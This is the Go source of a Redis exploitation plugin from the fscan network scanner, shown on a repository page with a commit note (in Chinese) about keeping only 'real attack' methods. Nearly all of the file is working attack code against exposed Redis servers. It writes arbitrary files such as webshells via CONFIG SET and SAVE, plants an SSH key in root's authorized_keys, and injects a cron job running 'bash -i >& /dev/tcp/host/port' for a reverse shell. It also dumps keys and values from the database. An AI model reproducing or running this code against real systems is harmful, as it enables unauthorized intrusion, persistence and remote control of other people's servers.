fscan/Plugins/services/redis/exploiter.go
ZacharyZcR 60e59f5a78 refactor: 精简利用功能,只保留真正有攻击价值的利用方法
- 完全移除FTP、MySQL、SSH、ActiveMQ的利用功能,只保留弱密码扫描
- 重构Redis插件利用方法,严格按参数控制启用:
  * arbitrary_file_write: 需要-rwp和(-rwc或-rwf)参数
  * ssh_key_write: 需要-rf参数
  * crontab_injection: 需要-rs参数
- 修复Redis未授权访问时的利用条件检查问题
- 去除所有信息收集类利用,只保留GetShell和文件写入等实际攻击能力

现在利用功能完全参数驱动,只有提供对应参数时才启动相应利用方法
2025-08-08 09:40:56 +08:00

448 lines
14 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package redis
import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"os"
"path/filepath"
"strings"
)
// RedisExploiter Redis利用器实现
type RedisExploiter struct {
*base.BaseExploiter
connector *RedisConnector
}
// NewRedisExploiter 创建Redis利用器
func NewRedisExploiter() *RedisExploiter {
exploiter := &RedisExploiter{
BaseExploiter: base.NewBaseExploiter("redis"),
connector: NewRedisConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *RedisExploiter) setupExploitMethods() {
// 1. 任意文件写入 - 只有提供了-rwp和(-rwc或-rwf)参数时才启用
if common.RedisWritePath != "" && (common.RedisWriteContent != "" || common.RedisWriteFile != "") {
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write").
WithDescription("利用Redis写入任意文件").
WithPriority(10).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitArbitraryFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
}
// 2. SSH密钥写入 - 只有提供了-rf参数时才启用
if common.RedisFile != "" {
sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write").
WithDescription("写入SSH公钥到authorized_keys").
WithPriority(9).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitSSHKeyWrite).
Build()
e.AddExploitMethod(sshKeyMethod)
}
// 3. Crontab定时任务 - 只有提供了-rs参数时才启用
if common.RedisShell != "" {
cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection").
WithDescription("注入Crontab定时任务").
WithPriority(9).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitCrontabInjection).
Build()
e.AddExploitMethod(cronMethod)
}
}
// exploitArbitraryFileWrite 任意文件写入利用
func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 检查是否配置了文件写入参数
if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("未配置文件写入参数")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 确定文件内容
var content string
if common.RedisWriteContent != "" {
content = common.RedisWriteContent
} else if common.RedisWriteFile != "" {
fileData, err := os.ReadFile(common.RedisWriteFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("读取文件失败: %v", err)), nil
}
content = string(fileData)
}
// 执行文件写入
dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(common.RedisWritePath)
success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_webshell_written", common.RedisWritePath))
base.AddFileToResult(result, common.RedisWritePath)
return result, nil
}
// exploitSSHKeyWrite SSH密钥写入利用
func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisFile == "" {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("未指定SSH密钥文件")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 读取SSH密钥
keyData, err := e.readFirstNonEmptyLine(common.RedisFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("读取SSH密钥失败: %v", err)), nil
}
// 写入SSH密钥
success, msg, err := e.writeSSHKey(redisConn, keyData)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys")
base.AddFileToResult(result, "/root/.ssh/authorized_keys")
return result, nil
}
// exploitCrontabInjection Crontab注入利用
func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisShell == "" {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("未指定反弹Shell地址")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 写入Crontab任务
success, msg, err := e.writeCrontab(redisConn, common.RedisShell)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_cron_job_written", common.RedisShell))
// 创建Shell信息
shellParts := strings.Split(common.RedisShell, ":")
if len(shellParts) == 2 {
result.Shell = &base.ShellInfo{
Type: "reverse",
Host: shellParts[0],
Port: 0, // 端口需要解析
}
}
return result, nil
}
// exploitDataExtraction 数据提取利用
func (e *RedisExploiter) exploitDataExtraction(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "data_extraction", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "data_extraction")
// 获取所有键
keys, err := e.getAllKeys(redisConn)
if err == nil && len(keys) > 0 {
base.AddOutputToResult(result, i18n.GetText("redis_keys_found", strings.Join(keys[:min(10, len(keys))], ", ")))
result.Extra["keys"] = keys
// 获取部分键值
for i, key := range keys {
if i >= 5 { // 限制只获取前5个键的值
break
}
value, err := e.getKeyValue(redisConn, key)
if err == nil && value != "" {
base.AddOutputToResult(result, fmt.Sprintf("%s = %s", key, value))
}
}
}
return result, nil
}
// exploitInfoGathering 信息收集利用
func (e *RedisExploiter) exploitInfoGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "info_gathering", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "info_gathering")
// 获取Redis信息
infoResponse, err := e.connector.ExecuteCommand(redisConn, "INFO")
if err == nil {
lines := strings.Split(infoResponse, "\n")
for _, line := range lines {
if strings.Contains(line, "redis_version") ||
strings.Contains(line, "os") ||
strings.Contains(line, "arch_bits") {
base.AddOutputToResult(result, strings.TrimSpace(line))
}
}
}
// 获取配置信息
base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("Dir: %s", redisConn.config.Dir)))
base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("DBFilename: %s", redisConn.config.DBFilename)))
return result, nil
}
// =============================================================================
// Redis操作辅助函数
// =============================================================================
// connectToRedis 连接到Redis
func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) {
conn, err := e.connector.Connect(ctx, info)
if err != nil {
return nil, err
}
err = e.connector.Authenticate(ctx, conn, creds)
if err != nil {
e.connector.Close(conn)
return nil, err
}
return conn, nil
}
// writeFileToRedis 通过Redis写入文件
func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) {
// 设置目录
if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil {
return false, "设置目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil {
return false, "设置文件名失败", err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if err := e.connector.SetKey(conn, "x", safeContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeSSHKey 写入SSH密钥
func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) {
// 设置SSH目录
if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil {
return false, "设置SSH目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil {
return false, "设置文件名失败", err
}
// 写入密钥(前后添加换行符避免格式问题)
keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData)
if err := e.connector.SetKey(conn, "x", keyContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeCrontab 写入Crontab任务
func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) {
// 解析Shell目标
parts := strings.Split(shellTarget, ":")
if len(parts) != 2 {
return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port")
}
shellHost, shellPort := parts[0], parts[1]
// 先尝试Ubuntu路径
if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil {
// 尝试CentOS路径
if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil {
return false, "设置Cron目录失败", err2
}
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil {
return false, "设置文件名失败", err
}
// 写入Crontab任务
cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort)
if err := e.connector.SetKey(conn, "xx", cronTask); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// readFirstNonEmptyLine 读取文件的第一行非空内容
func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
return line, nil
}
}
return "", fmt.Errorf("文件为空或无内容")
}
// getAllKeys 获取所有Redis键
func (e *RedisExploiter) getAllKeys(conn *RedisConnection) ([]string, error) {
response, err := e.connector.ExecuteCommand(conn, "KEYS *")
if err != nil {
return nil, err
}
// 简单解析键列表实际应该按Redis协议解析
lines := strings.Split(response, "\n")
var keys []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line != "" && !strings.HasPrefix(line, "*") && !strings.HasPrefix(line, "$") {
keys = append(keys, line)
}
}
return keys, nil
}
// getKeyValue 获取键值
func (e *RedisExploiter) getKeyValue(conn *RedisConnection, key string) (string, error) {
command := fmt.Sprintf("GET %s", key)
return e.connector.ExecuteCommand(conn, command)
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}